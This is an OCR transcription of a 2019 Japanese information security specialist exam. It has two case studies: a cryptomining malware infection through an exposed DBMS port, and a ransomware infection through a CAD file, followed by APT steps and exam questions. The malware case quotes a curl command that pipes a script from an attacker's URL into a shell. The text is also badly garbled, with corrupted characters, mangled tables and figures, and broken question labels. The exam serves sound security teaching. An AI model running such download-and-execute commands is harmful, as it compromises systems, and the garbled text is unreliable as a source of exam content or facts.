情報処理安全確保支援士 2019年 秋期 午後II 問題

共通の文章

ソフトウェア開発におけるセキュリティ対策に関する次の記述を読んで,設問1~ 4に答えよ。 S社は,2010年創業の従業員数120名のインターネット広告事業者である。イン ターネット広告の販売及び効果測定サービスの提供を行っている。S社のサービスは 顧客からの評判も良く,登録会員数は2,000社を超えている。 効果測定サービスは同社のWebサイトのシステム(UE,Sシステムという)で 稼働するWebアプリケーションソフトウェア(以下,アプリケーションソフトウェ アをアプリといい,Sシステムの主要なWebアプリをアプリQという)によって提 供されている。アプリQは,創業時に自社内で開発が始まり,現在も機能追加や改 修が継続的に行われており,約3週間に1回,リリースされている。 S社では,エンジニア5名(以下,開発チームという)が,開発と運用を一体的に 行う,いわゆるDevOpsに取り組んでいる。開発チームは,外部クラウドサービスの 利用に積極的であり,ソフトウェア開発プチットフォームであるサービスHH及びテ キスト共有サービスであるサービスGを用いている。サービスHでは,アプリQの ソースコードなどのファイルのバージョン管理を行っている。サービスGでは,開 発に関する情報をやり取りしている。サービスGは,テキストファイルをアップロ ードした後,URLを用いて,そのテキストファイルを共有できる。指定した期間を 過ぎたテキストファイルを自動的に削除することもできる。 アブリQは疾繁に更新するので,Wedアブリの脆弱性診断を,計画的に実施でき ず,1年に1回程度の頻度で不定期に行っている。昨年末,スケジュールに余裕があ る時期に外部に依頼し実施した際には,SQLインジェクション脆弱性が発見され, |改修した。また,Sシステムでは,08,ライブラリ及びミドルウェア(ME,LO 三つを併せて実行環境という)を全く更新していないという問題もある。 〔Sシステムについて〕 アプリQは,W社データセンタ内のサーバA上で稼働している。アプリQは DBMSサービス(以下,アプリQが連携するDBMSサービスをサービスCという) と連携している。サービスCのデータベースには,効果測定サービスに関するデー タ及び入会時に登録された会員情報が保存されている。また,サーバAのCPU負荷 ー3一 やメモリの利用状況などをS社開発用LAN上のPCから遠隔監視するツールをサー バA上で稼働させている。このツールの導入を容易にするために,コンテナ技術を 用いている。図1は,Sシステムの開発と運用のためのネットワーク構成である。 ーーーー2.b2.c2.d2 0 !W社データセンタンプ !!S社開発用LAN! |aLbLcl.d1 tf 172.16.3.1 7 i[ |reg i 1 ot 172.16.3.4 172.16.3.5 「」"I SシステムI!||PCー 2ーー 注記1 al.b1.c1.d1及びa2.b2.c2.d2は,グローバルIPアドレスである。 注記2サーバAはS社が占有利用している。 注記3 S社開発用LANはS社のオフィスにある。 図1$Sシステムの開発と運用のためのネットワーク構成 S社開発チームは,9月から試験的に,新アプリ(QE,アプリDという),及び DBMSサービスであるDBMS-RをサーバA上で稼働させ,利用を開始した。開発チ ームは,S社開発用LANのPCから,DBMS-Rのデータベースを参照・更新したり, ネットワーク経由で外部からDBMS-Rを通してOSコマンドを実行する機能(以下, 遠隔コマンド実行機能という)を利用したりするために,急きょ,サーバAのポー ト6379/tcpを開放した。表1はサーバAのファイアウォール機能におけるフィルタ リングルール(以下,ファイアウォール機能におけるフィルタリングルールをFW ルールという)である。 表1サーバAのFWルール 動作(許可又は破棄) |6|全て。 。。|全て。。|全て|破棄。| 注記1項番が小さいルールから順に,最初に一致したルールが適用される。 注記2ステートフルパケットインスペクション機能をもつ。 注記3サービスCとの通信に関しては省略している。 —4ーー [インシデントの発生] 10月のある日,サーバAがW社データセンタ内のほかのサーバを探索するアクセ スを繰り返しているという連絡をW社から受けた。初期対応をした開発チームのP さんは,サーバAのCPU使用率が100%になっていることから,サーバAがマルウ ェアに感染したと推測した。 S社の経営陣は,セキュリティ専門企業U社の情報処理安全確保支援士(登録セ FAN)OB氏にインシデント対応の支援を依頼した。B氏は,状況から,サーバ Aのストレージを対象としたフォレンジック調査を実施するのがよいと助言した。 [フォレンジック調査結果] フォレンジック調査によって,サーバAはマルウェアXに感染したことが判明し た。U社の過去の解析で,マルウェアXの目的,侵入方法及び機能が図2のとおり 特定されており,今回のマルウェアXの活動は図3のとおりであることが判明した。 1.マルウェアヌの目的 (1)暗号資産の採掘用プログラムをダウンロードし実行する。 (2)ほかのサーバに侵入する。 2.マルウェア双の侵入方法 (1)ポート6379/tcpが開放されたサーバを探索する。 (2)ポートが開放されたサーバを発見したら,次のいずれかの方法でDBMS-Rに接続する。 -脆弱性を悪用して認証をバイパスする。 -パスワードを辞書攻撃で発見する。 (3)不正に遠隔コマンド実行機能を利用し,サーバに侵入する。 3.マルウェアXの機能 (ア)暗号資産の採掘用プログラムをダウンロードし,実行する機能 (イ)ほかのサーバ上で稼働するDBMS-Rに侵入を試みる機能 (ウ)サーバのFWルールを変更する機能 (エ)ルートキットYをダウンロードし,インストールする機能 (オ)活動の痕跡が含まれるログファイルを削除する機能 4.暗号資産の採掘用プログラムの機能 (1)採掘演算結果だけを外部の特定のサーバに送信する機能 図2マルウェアXの目的,侵入方法及び機能 ー5一 1.DBMS-Rの脆弱性を悪用して認証をバイパスし,サーバA上のDBMS-Rに接続した。 2.遠隔コマンド実行機能によって,サーバA上で次のコマンドを実行して,引数のURLから スクリプトファイルをダウンロードし,実行した。その結果,次の3~6を実行するように, cronの設定が書き換えられた。 curl-sf https://A A A A”/attackers-url/xxx.sh|sh-s 3.サーバA上で次のコマンドを実行した。その結果,①表1の先頭に.ポート6379tcpへのパ ケットを破棄するルールが挿入された。 4.サーバA上でrmコマンドを実行して幾つかのログファイルを削除した後,ルートキットY を,curlコマンドを用いてダウンロードして,DBMS-Rプロセスの実行時の権限でインストー ルした。 5.サーバA上で暗号資産の採掘用プログラムを,ulコマンドを用いてダウンロードし実行し Ks 6.サーバAから,ポート6379/tcpが開放されているほかのサーバへの侵入を試みた。 注りAA4A4A4AはサービスGのFQDNを示す。 3マルウェアXの活動(抜粋) ルートキットYは,マルウェアXの活動を隠蔽する。例えば,Linuxにおけるプロ セス監視ツールである|<javy Rik,プロセスDWが123の場合, |2関数を通してディレクトリ|?|内のファイルにアクセスするこ とによって当該プロセスの状態を参照し,表示する。しかし,ルートキットYによ って|8関数が書き換えられると,|<|]コマンドの出力に暗号資産 の採握用プログラムのプロセスが表示されなくなる。| z|コマンドの通常の 動作とルートキットYをインストールした後の動作を図4に示す。 i ROME。 !「ルートキットYをインストールした後の動作| || :|[2|e|日暗号控産の採掘用プログラムを隠蔽する関数| :| !\1ン !ディレクトリ| ?|内のファイル 図4|z|]コマンドの通常の動作とルートキットYをインストールした後の動作 ーー6ーー ネットワーク経由でのサーバA上のDBMS-Rへのアクセスは,S社のPCからの アクセス以外はマルウェアXによるアクセス1回だけであった。特に,遠隔コマン ド実行機能こよる不審ねコマンドの実行は,。マルウェアXによるものだけだった。 また,サーバA上のSSHサービスへの接続もS社のPCからのアクセスだけであっ Feo ②サーバAからの会員情報の漏えいはなかったとS社は結論付けた。 [今後のマルウェア対策〕 今回はマルウェアの被害が限定的であった。しかし,今後,より大きな被害をも たらすマルウェア感染が起こり得るので,B Kit,サーバAでのマルウェア対策と LT,表2の対策を提案した。 表2サーバAでのマルウェアXへの対策案 S社では,表2の対策案について検討した。次は,開発チームのリーダRさん及び メンバのPさんの会話である。 Rさん:対策1,対策2及び対策3は,具体的にどのようにするのかな。 Pさん:対策1については,サーバAのポート|あぁ|及び[|い|へのァ クセスは,S社の開発用LANだけからなので,表1において,送信元を |うぅ。]に限定すべきでした。対策2については,攻撃に使用された DBMS-Rのポート番号からS社で独自に定めたポート番号,例えば,8783 に変更する方法もありますが,マルウェアXの攻撃を受けるリスクを低減 する方法としては,対策1で十分です。対策2は行わず,対策1を行い, 今回は送信元をルータSのグローバルIPアドレスに限定するのでDBMS-R のポートは|い|のままとします。対策3については,マルウェアX ーッー はサーバAに侵入の際及び感染後に,|。|コマンドによってファイ ルをダウンロードしたことを考えると,サーバAから80/tcp及び443/tcpを 含め,外部へのアクセスは禁止すべきでした。具体的には,FWルールを表 3のように変更します。 表3変更後のサーバAのFWルール ュー 注記1項番が小さいルールから順に,最初に一致したルールが適用される。 注記2ステートフルパケットインスペクション機能をもつ。 注記3サービスCとの通信に関しては省略している。 RSA:対策4についても確認させてもらえるかな。 Pさん:今回|b|コマンドによって,図2の(9)が実行されました。 DBMS-Rを必要最小限の権限にして稼働させることによって,この実行を 防ぎます。 Rさん:なるほど。ところで,サーバAで|8|のファイルの改ざん検知を行 うのはどうだろうか。保護対象ファイルの|え|を計算して,保護さ れた場所に保存しておき,定期的に,保護対象ファイルの|え|を計 算し直した値と保存しておいた値とを|お|することによって,保護 対象ファイルの|か|又は改ざんが検知できる。Webコンテンツも保 護対象にするとよさそうだ。 Pさん:Sシステムでは,Weコンテンツについては,頻繁に|か|するので, 頻繁に|え|を計算し直し保存する必要があり,運用が難しそうです。 [|8|のファイルの改ざん検知については,導入を検討します。 ーa一 [DevOpsにおけるセキュリティ向上策〕 B氏は,DBMS-Rを稼働させた際に行った設定変更がマルウェアXの侵入を招い たとして,開発・運用プロセスについて,図5に示す提案をした。 ・要件定義プロセス (省略) ・設計プロセス (省略) ・実装プロセス エンジニアには実装に関するセキュリティの知識を身に付けさせるべきである。セキュアコー ディング基準を利用し,コーディングレビューを行うことを推奨する。 ・検証プロセス Webアプリをリリースする際に,機能の検証及び脆弱性診断をすべきである。検証環境がない ので,用意すべきである。 ・運用プロセス 自社で使用している実行環境について脆弱性情報を収集すべきである。ソフトウェアの変更, システム設定の変更及びシステム構成の変更(以下,この三つの変更をシステム変更という) を管理すべきである。 図5 S社の開発・運用プロセスに関する提案(抜粋) S社では図5の提案を検討した。 設計プロセスでは,セキュリティ対策の漏れを防ぐために,③参考になりそうな セキュリティ対策の標準を利用することにした。 実装プロセスでは,セキュアコーディング基準として広く知られているCERTコ ーディングスタンダードを利用することにした。CERTコーディングスタンダードの 順守によって,脆弱性の作り込み防止だけでなく,コードの移植性及び保守性の向 上も期待できる。 検証プロセスでは,Webアプリの脆層性診断をリリースの都度,外部に委託する とリリースが遅れるので,自社内で行うことを検討した。 運用プロセスでは,自社内で使用している実行環境の脆弱性情報の収集を強化す ることにした。その際,④収集する情報を必要十分な範囲に絞るため,情報収集に 先立って必要な措置を取ることにした。また,脆弱性情報が報告された際,社内で |き|を実施する。これによって,脆弱性修正プログラム(以下,パッチとい 5)を適用すべきであると判断した場合,検証環境でパッチを適用し|く|を =9ーー 行った上で,問題がなければ,本番環境にパッチを適用する。ただし,検証環境を 準備する必要がある。さらに,図6に示すシステム変更手順を検討した。 計時 2.作業手順書作成 3.計画及び作業手順書の|け| 4.作業 ”ENE REME BY Ch okDES MEMRORM bo METS, 1.計画 システム変更は,次の手順で行う。 計画に基づき当該変更の作業手順書を作成する。 作業手順書に基づき作業し,作業の記録を取る。 当該変更の対象変更内容,変更作業及び変更スケジュールを計画する。 M6 S社のシステム変更手順 【コンテナ技術活用の検討 B氏は,コンテナ技術を,構成管理,変更管理,リリース前の確認及び実行環境の 更新に活用することを提案した。次は,PさんとB氏の会話である。 Pさん:まず,コンテナ技術の活用について解説してもらちえますか。 BR:サーバでを一つ稼働させておけば,DET, [a|ごとに別の|。]を稼働させることが可能です。ほかの [ce|への影響なく,|。|ごとにサービスの提供や停止ができ ます。さらに,|c|の上で稼働する|e ]は複製が容易なので, 同じ開発環境をいくつも用意して|ad|を開発することが可能となり ます。 Pさん:なるほど。3S社でも以前から,遠隔監視するツールのためにサーバA上で |<|を稼働させているのですが,そのようにも活用できるのですね。 、構成管理・変更管理への活用についても解説してもらえますか。 BR:実行環境の構成情報を,|d|のソースコードと同じようにサービス Hでバージョン管理できます。構成情報については,|f|を確認す ることができ,図5で提案した運用プロセスでのシステム変更の管理につ ながります。 Pさん:なるほど。リリース前の確認への活用について解説してもらえますか。 BR:リリースする際の確認のため,|gz|環境と同じ実行環境を用意して, | 』|が動作するかを確認することが可能となります。図5で提案し た|ji ]環境も用意できます。 Pさん:実行環境の更新への活用について解説してもらえますか。 BK:| 。|]内のライブラリ及びミドルウェアは,|< ]が稼働する OS側のそれらとは別のファイルです。複製した| e|内で,ライブ ラリ及びミドルウェアにパッチを適用したときに,現在の|q|が正 常に稼働するかを|<|を行って確認できます。 Pさん:それは朗報ですね。Sシステムでは,創業時に構築した古い実行環境を使っ ていて新しいバージョンへの更新が課題でしたので,その解決の糸口にな ります。早速,コンテナ技術を活用してみます。 S ld,セキュリティの向上,開発プロセスの強化及びコンテナ技術の活用によ って,DevOpsの実践を改善した。その効果もあってサービス品質が向上し,登録会 員数を増やすことができた。 ーー

共通の文章

工場のセキュリティに関する次の記述を読んで,設問17に答えよ。 A社は,車両や産業用機械で利用される金属部品の製造会社であり,本社オフィス に加えて3か所の工場(以下,本社オフィス及び各工場をそれぞれ事業所という) をもつ。本社オフィスには,営業部,財務部,総務部,システム部などの部門が配 置されている。各工場はそれぞれが独立した部門である。A社は,各事業所内及び事 業所間を結ぶ基幹ネットワーク(以下,A-NETという)を整備している。A-NETは システム部が管理し,社内の機器の多くが接続されている。 A社は,全社共通のセキュリティ規程を定めており,各部門はこれに従って機器を 管理しなければならない。A-NETの概要を図1に,A社のセキュリティ規程を図2 に示す。 L2SW:レイヤ2スイッチンターネッ FW:ファイアウォール L3SW:レイヤ3スイッチ WHAT AR。| |本社オフィスLAN…[rw にーーーニーニーニーニーーーーーーニーージンN i|サーバi!EY 1|! 1 1 1 i 1 Rico Gd) |サーバ||サーバドサーバ (DMZ tn全社サーバLANi 注記1 FWによって,各工場間での直接的な通信を禁止している。 注記2各工場にはファイルサーバがあり,各工場の従業員が利用できる。 図1 A-NETの概要 1.A社が従業員に貸与するPC(以下,標準PCという)は,システム部が管理する。 2.システム部は,標準PCの仕様を定める。また,標準PCについて,セキュリティを維持 するための措置を定める。この措置には,脆弱性修正プログラム(以下,パッチという) の適用及びマルウェア対策ソフトの導入が含まれる。 3.各部門は,業務に必要なソフトウェア(以下,業務用ソフトという)を調達し,標準PC にインストールして利用することができる。ただし,その場合は,調達前にシステム部の 許可を得る。また,当該部門は当該業務用ソフトを適切に管理する。 4.システム部は,A-NETについて,セキュリティ及びその他の不都合が生じないように管 理・維持する責任と,そのための権限をもつ。 図2 A社のセキュリティ規程(抜粋) 5.各部門は,標準PCとは別のPC及びその他の機器(以下,これらを併せて部門機器とい う)を調達し利用できる。 6.各部門は,専用のネットワーク(以下,部門NETという)を構築し利用できる。 7.各部門は,部門機器又は部門NETをA-NETに接続する場合,接続前にシステム部に申 請し許可を得る。申請時には,次の事項を記した書面を提出する。 ・接続の目的 ・接続に必要な技術情報(必要なIPアドレスの数,想定される通信量,その他システム 部が別途定めるもの) ・管理者と連絡先 図2 A社のセキュリティ規程(抜粋)(続き) 先日,同業のB社でセキュリティ事故が発生し,生産設備が数日停止した旨の記 事が業界紙に掲載された。これまでのところ,A社では,同様の被害が生じた事故は 起きていないが,以前から,セキュリティ面を深く考慮せずに拡張してきたA-NET 及び部門NETについて抜本的な改善の必要性があるとの指摘が,システム管理を担 う現場の技術者から出ている。 [ランサムウェア感染〕 HSA,ge工場において,設計部のSさんが利用する標準PC(以下,PC-Sとい 5)の動作が極端に遅くなり,かつ,一部のファイルが開けなくなる事象が発生し た。Sさんから連絡を受けたシステム部は,gw工場において部門機器や業務用ソフト を管理するD主任と共同で,調査及び対処を行った。その内容を図3に示す。 1.システム部は,PC-SをA-NETから切断し回収した。 2.社内から社外への通信を中継するプロキシサーバに記録されたログから,PC-S AS,正体 不明の宛先(AE,サイトUという)に,①User-Asentヘッダフィールドの値が “curl/7.64.0”のHTTPリクエストを繰り返し送信していることが確認された。 3.PC-S上,及びPCSがアクセス可能なファイルサーバ上のファイルのうち一部のファイ ルが暗号化されてしまい,幾つかの実行中のプロセスがエラーメッセージをログに出力し ていた。 4.SさんへのヒアリングとPCS及びプロキシサーバに記録されたログの解析から,次のこ とが分かった。 (1)Sさんは,g工場で使用しているCADツール(以下,CAD-Vという)の有償オプ ション機能の広告を電子メール(以下,メールという)で受信した。その本文に記載 されていたURLリンクをクリックし,CAD-V用のサンプルファイル(以下,ファイル Tews)をダウンロードした。 (2)Sさんは,CAD-Vを用いて,ファイルTを開いた。 (3)すぐに,PC-SがサイトUに最初の通信を行った。 (4)30分後,SさんはPC-Sの異常に気付いた。 図3調査及び対処の内容 5.マルウェア対策ソフトのベンダにファイルTの解析を依頼したところ,ファイルT ld, 次の特徴をもつランサムウェアであることが分かった。 (1)CAD-Vの脆弱性を悪用し動作する。CAD-VでファイルTが開かれた場合,CAD-V を実行している利用者の権限で書込み可能なファイルのうち一部のファイルを暗号化 する。また,サイトUにアクセスし,ランサムウェアが動作した機器の環境や暗号化 の状況についての情報を登録する。 (2)攻撃者が遠隔操作を行うための機能はない。 (3)感染を拡大する機能はあるが,感染拡大に必要な一定の条件(以下,条件EW >)を満たす場合にだけ機能し,感染力は弱い。 6.gw工場には条件Vを全て満たす機器はない。ただし,条件Vを一部満たす機器は存在 し,PC-Sから5台の機器への感染拡大の試行の痕跡が見つかった。 7.CAD-Vの脆弱性情報及びその対策である| 。|はCAD-Vの開発元によって公開さ れていたが,cg工場はそれらの情報を得ていなかった。 8.マルウェア対策ソフトのベンダから,ファイルTの検知ツールを入手し,社内のほかの 全PCを検査した。その結果,PCS以外に感染はなかった。 9.前項までの状況から,次の実施をもって本件の対処を終えることにした。 a)PcSは[|>]44. (2)ファイルサーバ上の暗号化されてしまったファイルはバックアップから復元する。 (3)PC-Sに,業務用ソフトをインストールする。 (4)PC-S上に必要なファイルは,バックアップから復元する。 (5)CAD-Vがインストールされた全てのPCについて,CAD-YVの開発元が公開した脆弱 性対策を実施する。 (6)ファイルTを配布していたWebサイト,及び| 。|]に対する社内からのアク セスをFWによって遮断する。 (7)全従業員に対して,次の事項についての通知及び注意喚起を行う。 A)ランサムウェアの感染があったこと(CAD-Vの名称,バージョン情報を含む) B)広告などに偽装したメールを用いて攻撃が行われる場合があること C)インターネットからダウンロードしたファイルは危険であること (8)PC-SをSさんに返却し,SさんがPC-Sの利用を再開する。 図3調査及び対処の内容(続き) 3中の6について,感染拡大の試行の痕跡が見つかったのは,いずれも生産設 備を制御するための専用PC(以下,FA端末という)だった。EA端末は,a LIDS 管理する部門機器としてA-NETへの接続が許可されていた。EA端末には,パッチの 適用やマルウェア対策ソフトの導入などの,セキュリティを維持するための措置が 施されていなかった。D主任によると,FA端末は標準PCではないので,セキュリ ティ規程で定められた標準PCに対する措置は適用対象外と理解しているとのことで あった。また,FA端末は,WA OSを用いたPCであるが,FA端末及び生産設備の 製造ベンダY社の指定する方法で利用しなければならない。Y社の許可を得ずにパッ チを適用したり,他社のソフトウェアをFA端末にインストールしたりした場合は, FA端末及び関係する生産設備の動作が保証されなくなるとのことであった。 [見直し実施の方針] 今回のランサムウェア感染では,生産設備の停止などの重大な事態に陥ることは なかった。しかし,A社の経営陣は,実害があったこと,生産設備に影響する可能性 があったこと,及びB社でセキュリティ事故があったことを踏まえ,工場のセキュ リティについて抜本的な見直しを行う方針を決定した。 経営陣は,システム部のM部長をこの抜本的な見直しのプロジェクト(以下,プ ロジェクトWという)の責任者に任命した。プロジェクトWは,サイバー攻撃など による生産設備の停止を防ぐことを目的とし,必要な施策を検討して実施する。例 えば,A-NETで障害が発生しても生産設備の稼働を維持できるようにする。 [プロジェクトWの進め方〕 M部長は,まず,cg工場の課題を調査して,必要な措置を検討し,ほかの工場は, a工場の結果を基に,進め方を検討することにした。 M部長は,システム部のCさんをプロジェクトWの担当者に指名した。また,情 報セキュリティの知見が少ないA社の現状を踏まえ,セキュリティコンサルティン グサービスを提供する社の支援を受けることにした。 Rik,Cさんと,社の情報処理安全確保支援土(登録セキスペ)OF氏との会話 である。 Cさん:プロジェクトWでは,ランサムウェアに限らず,例えば,B社で発生した ようなセキュリティ事故を確実に防ぎたいと考えています。 F氏:B社のセキュリティ事故は,APT(Advanced Persistent Threat)攻撃を受け, 社内のPCが遠隔操作型のマルウェアに感染したことが発端でした。 Cさん:APT攻撃の事例はよく耳にします。具体的には何が起こるのでしょうか。 F氏:APT攻撃の典型的なステップを表1にまとめました。 ー一 表1 APT攻撃の典型的なかステップ 攻撃者の活動 1|ae攻撃者は,攻撃対象とする組織(以下,ターゲット組織という)を調査 する。ターゲット組織のWebサイト,従業員のメールアドレスや社会的 関係などを調べる。 2|武器化攻撃者は,攻撃に用いる武器を準備する。ターゲット組織に合わせて, 遠隔操作機能をもつマルウェアを作成する。侵入を成功させるために, 正常な| q|に偽装した“おとりファイル"を作成する場合もあ る。 配送攻撃者は,作成したマルウェアをターゲット組織に配送する。例えば, マルウェアを添付したメールを特定の従業員に送付する。 4|エクスプロイ|攻撃者は,ターゲット組織内の機器でマルウェアを実行させる。例え トば,OSやアプリケーションプログラムの脆弱性を悪用してマルウェア を実行させる。 5インストール攻撃者は,ターゲット組織の機器にマルウェアをインストールする。当 該機器に|。|を設置することによって,長期にわたり侵入を継 続できるようにする場合もある。 コマンドとコマルウェアは,インターネット上に設置された攻撃者のサーバと通信し ントロール|て,を受け取り,それに従って動作する。 7|目的の実行攻撃者は,攻撃の目的を果たすための活動を開始する。データの弱取 BUR,改ざんなどを行う。侵入された機器を踏み台とし,侵入を拡大す るための活動を行う場合もある。 [調査結果] Cさんは,F氏の支援の下,gc工場の課題を調査した。gw工場のネットワークの概 要を図4に示す。 aT ERAN fiSrs paar eames 1\1 {Las| sw|Yam|: Al ae]|23]SEAL| !ewe fw LI| !al i 1 pee a. i|業務ry AP:無線LANアクセスポイント 注記1サーバLAN及び工場LANはA-NETの一部である。ただし,RA端末は部門機器である。 注記2サーバLANは,go工場内だけで利用するサーバを接続するためのネットワークである。 注記3 FA端末には生産設備が接続されている。当該生産設備の記載は省略している。 注記4 AP Id,主に,出張でoc工場を訪れた他事業所の従業員の標準PCの接続に使用する。 注記5工場にはA-NETに接続していない部門NETがある。その記載は省略している。 図4工場のネットワークの概要 調査によって発見された主要な課題を次に示す。 課題1 FA端末には,パッチの適用もマルウェア対策ソフトの導入もしていない。 それにもかかわらず,複数のFA端末がA-NETに接続されている。 課題2 APは,接続を許可する機器をMACアドレス認証によって制限している。 パスワードやディジタル証明書を利用した認証は行っていない。APの近く から,攻撃者が|g|することで[|h ]を入手し,この値を合 用することで容易にAPに接続できてしまう。 課題3工場内で使われる機器は,標準PC及びFA端末も含め,業務用ソフトなど の脆弱性管理が不十分である。公開されている脆弱性情報が確認されてお らず,パッチが適用されていない機器が多い。セキュリティ規程に脆弱性 管理についての具体的な言及がなく,どこまで管理するかを各部門に任せ ている。 CさんとF氏は,システム部及びoc工場の関係者に,発見された課題がもたらす リスクを説明し,解決の必要性について理解を得た。その上で,課題の解決に向け て検討を開始した。 [課題1の解決〕 D主任によると,FA端末をA-NETに接続していたのは,次の二つの目的のためで ある。 ・生産に関わるデータを,FA端末から取り出して業務サーバに登録したり,プリン タで印刷したりするため。これらの作業は毎日,1時間に1回以上ある。 ・FA端末のメンテナンスや設計データの更新の際に,A-NET経由でFA端末に当該 データの転送を行うため。これらの作業は,多くても月に数回程度である。 Cさんと氏はD主任と協議を重ね,ネットワーク構成を見直すことで課題1の 解決を図ることにした。見直し案におけるg工場のネットワークを表2及び図5に 示す。 ー19一 表2見直し案におけるw工場の各ネットワーク(抜粋) 事務LAN|事務などのデスクワークに利用するネットワークであり,A-NETの一部として 管理する。主に標準PCやプリンタを接続する。APを設置する。許可を受けた 機器は無線で接続できる。 FNET g工場において,FA端末,プリンタ,その他の生産設備に関係する機器だけを 接続する部門NET CHS,F-NETとA-NETの接続の有無及び接続する場合の 形態は別途検討する。 センサNET|a LBC,一部の生産設備にIoOTセンサ(以下。センサという)を取り付け て,設備の監視などに役立てる実証実験をクラウドサービス事業者のZ社と進 めている。センサNETをこのための部門NETとして新設する。センサが収集 したデータは,センサNET経由で,Z社のクラウドサービスに登録する。g工 場の担当者は,Z社のクラウドサービスにアクセスし,設備の状況を把握でき る。センサの不具合が生産設備に直接影響与えることはない。 人ーー 本社オフィス‘[LeswI ||Lasw ocala iaswe——Ff ar||| oe Z|| 1>No;1 Y: 1 a Y' サーバHビーニニニニニニニニニニニニニニニニニニニニニニニニニニニニニニニニニーニニニニニニーーニーニ リーー!F-NET! |(う)|a 1サーバIAN||NE Pal rill wa yx| iの2ンー| !| <>i: Lh=11 2社のクラウドWE ae|_|il サービス!3 注記1 FA端末には生産設備が接続されている。当該生産設備の記載は省略している。 注記2 FA端末から業務サーバにデータを転送する仕組みは検討中である。 注記3一部の部門NETの記載は省略している。 図5見直し案におけるeg工場のネットワーク FA端末から業務サーバにデータを安全に転送するための仕組みの候補を表3に, それぞれの仕組みについての評価結果を表4に示す。 表3 FA端末から業務サーバにデータを安全に転送するための仕組みの候補(概要) FW Ax F-NETとL3SWの間にステートフルパケットインスペクション型FWを設置 し,ENET側からA-NET側へのアクセス及びこの応答に相当する通信だけを 中継する。A-NET側からFNET側にアクセスする通信は全て遮断する。デー タは,スクリプトを用いて,自動的に業務サーバに転送し登録する。 USBメモリ方式|FNETとA-NETは物理的に接続せず,USBメモリを用いてデータを転送す る。担当者は,必要時に,USBメモリをFA端末に接続してデータを書き込ん だ後,USBメモリをFA端末から取り外す。その後,A-NETに接続した標準 PCにこのUSBメモリを接続し,書き込んだデータを取り出して業務サーバに 登録する。 中継用PC方式|事務LANとF-NETの間にデータ転送用のPC(以下,中継用PCという)を 設置し,中継用PCを用いてデータを転送する。担当者は,必要時に,FA端 KEEL,データをENET側から中継用PCの内蔵ストレージにコピーす る。その後,中継用PCにリモートログインし,中継用PCを操作してデータ を業務サーバに登録する。中継用PCは,接続した両ネットワーク間でパケッ トを転送する機能をもたない。 データダイオー|データダイオードは,二つの接続点間において,片方向だけデータを転送する ド方式機能をもつネットワーク機器である。FE-NETとL3SWに接続し,F-NET側か らA-NET側へのデータの転送を許可し,逆方向は全ての通信を遮断する。デ ータダイオードの実装例として,機器内部に光通信を行う部位を設け,データ が片方向しか流れないことを物理的に保証するものがある。また,一部の通信 プロトコルについて,通信をエミュレートする機能りをもち,あたかも二つの ネットワークが接続しているように見せることができる。データは,スクリプ トを用いて,自動的に業務サーバに転送し登録する。 注!通信プロトコルに従いデータが双方向に流れているように偽装するが,一方向への情報転送 は完全に遮断する機能のこと 表4それぞれの仕組みについての評価結果(抜粋) 業負荷即時性ウェア感染)" Cn o|「人 ] lmmzegn|*|<|< Hak PC Fiskーー^。| データタダイオードカ式| O|[L kk| 注記各評価項目を3段階で評価。より好ましい特徴をもつものから順に“〇",“A”,“xX”とす る。ここで,明らかに解決すべき重大な問題があると考えられるものは“XxX”“ETS, SE”FNETに接続された機器が,A-NET経由でマルウェアに感染するリスクを評価する。 CさんとDD主任は,評価の結果,方式を一つ選択した。 また,逆方向のA-NET側からFA端末へのデータ転送は,USBメモリを利用して 行うことにした。g工場のFNET管理担当者は,A-NETに接続した標準PCにUSB メモリを接続して必要なデータをコピーし,その後,②そのUSBメモリをFA端末 に接続してデータの更新などの作業を行う。FA端末のメンテナンスの場合,データ の更新をY社が行う場合もある。その場合,Y社の担当者は,メンテナンスデータを 格納したUSBメモリを持参し,gw工場のFNET管理担当者の監督の下,その USBメモリをFA端末に接続して作業する。 [課題2の解決〕 課題2の解決のため,今後は,APでの機器の認証方式として,WPA2エンタープ ライズ方式を採用することにした。同方式において必要となる認証サーバは,事務 LAN用とセンサNET用をそれぞれ設置する。このうち,前者は全社で共用のサーバ LL,システム部が管理する。後者はg工場が管理する。 [課題3の解決〕 Cさんは,M部長と相談し,F&I,システム部が工場内で使われる機器につい て脆弱性管理を指導することにした。具体的には,システム部が脆弱性管理のプロ セスを規定し,各部門に順守してもらうことにした。Cさんが考えた脆弱性管理のプ ロセスの案を表5に示す。 表5肥弱性管理のプロセスの案 情報収集利用しているハードウェア及びソフトウェアについて脆弱性情報を入 手する。 |©|aaamn入手した脆弱性情報について④その時点での自社にとっての深刻度を 評価する。 措置の実施|深刻度評価の結果に従い,⑥適切と考えられる措置を実施する。 Cae)8 脆弱性管理のプロセスは,将来,A社のセキュリティ規程に取り入れる。 [セキュリティ規程の見直し] ge工場の調査によって複数の課題が見つかったことから,現行のセキュリティ規 程には改善すべき点があると考えられた。M MR,セキュリティ規程の改定の検 討をCさんに指示した。 Cさんは,これまでFA端末をA-NETに接続してきた経緯を踏まええ,セキュリテ イィ規程に次の項目を追加することを考えた。 ・各部門は,部門機器及び部門NETを適切に管理・維持するための措置を定める。 ・各部門は,部門機器又は部門NETをA-NETに接続するための申請を行う前に 当該接続についてリスクアセスメントを実施する。 ・システム部は,各部門が上記の作業を行う際に,これを支援する。 Cさんが項目の追加についてF氏に相談したところ,FR,追加する項目に合わ せて,図2中の7について申請時に書面に記す事項を追加することを提案した。 また,Cさんは,APへの接続制限の方法,及び業務用ソフトの脆弱性管理に不備 があったことを考慮し,セキュリティに関わる施策の実施状況及びその効果を定期 的に見直すプロセスをセキュリティ規程に明記することを考えた。 Cさんは,セキュリティ規程の修正案を作成し,M部長に提示した。M部長は修 正案を経営会議に提出し承認を得た。 〔施策の実施) 課題の解決のために検討された施策が実施され,大きな効果が得られた。そこで, g工場以外の工場についても調査が開始された。 ー93一 RAI(FYE ADTT RR)について,①⑪~(④に答えよ。 1)3中の下線わについて,ログに記録されたUser-Agentヘッダフィールド の値からはマルウェアによる通信であると判定するのが難しいケースがある。 それはどのようなケースか。50字以内で述べよ。 ⑫)図3中の|a|に入れる適切な字句を,解答群の中から選び,記号で 答えよ。 fie ア共通脆弱性識別子4コモンクライテリア ウディジタル証明書エパッチ Aファイル復号鍵 @)図3中の|b|]に入れる適切な字句を,解答群の中から選び,記号で 答えよ。 RHE ア初期化イ内蔵ストレージをUSBメモリにコピー ウ内蔵ストレージを暗号化エネットワークから切断 オメモリをダンプ ⑭)図3中の| c|に入れる適切な字句を,10宇以内で答えよ。